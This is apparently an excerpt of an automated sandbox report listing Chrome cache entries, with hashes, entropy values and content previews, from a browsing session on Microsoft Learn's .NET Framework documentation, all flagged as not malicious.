SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-learn-challenge-2024.jpg
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33273), with no line terminators
Category:	downloaded
Size (bytes):	33273
Entropy (8bit):	4.918756013698695
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUukj:5hOEO8chkMet7pCjBfcHkWOzUukj
MD5:	86E84C732A96BF9CF18C99B48DB90B6D
SHA1:	6A8C212067CB9FE5B8325AE1E89FCA3E7FCF20FA
SHA-256:	B54678C5BFB00DC1AFBF2E52C56F8E10173975C25FB19062EFE5DC86F1B7D769
SHA-512:	AD91A78371074B5BB2105A9AE69664371C235B7C82DFD25C9ED17F435E92018F2A0DD42203F403D7A75DF4FC63966017519F118B2B22F0DE7656B2B155636AA2
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
